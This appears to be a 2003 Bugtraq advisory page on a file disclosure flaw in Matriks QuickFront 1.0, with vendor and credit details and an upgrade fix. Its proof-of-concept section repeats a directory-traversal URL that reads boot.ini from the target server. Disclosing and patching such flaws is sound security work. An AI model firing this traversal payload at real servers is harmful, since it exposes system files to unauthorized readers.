QuickFront File Disclosure Vulnerability
BID:7308
Info
QuickFront File Disclosure Vulnerability
| Bugtraq ID: | 7308 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Apr 09 2003 12:00AM |
| Updated: | Apr 09 2003 12:00AM |
| Credit: | Discovery of this vulnerability credited to Jan Kachlik <[email protected]>. |
| Vulnerable: |
Matriks QuickFront 1.0 .189 |
| Not Vulnerable: |
Matriks QuickFront 2002.0.2 .0916 |
Exploit / POC
QuickFront File Disclosure Vulnerability
The following proof of concept was provided:
http://<target>/../../../../../boot.ini
The following proof of concept was provided:
http://<target>/../../../../../boot.ini
Solution / Fix
QuickFront File Disclosure Vulnerability
Solution:
QuickFront 2002.0.02.0916 is not vulnerable to this issue. Affected users are advised to contact the vendor for upgrade details.
Solution:
QuickFront 2002.0.02.0916 is not vulnerable to this issue. Affected users are advised to contact the vendor for upgrade details.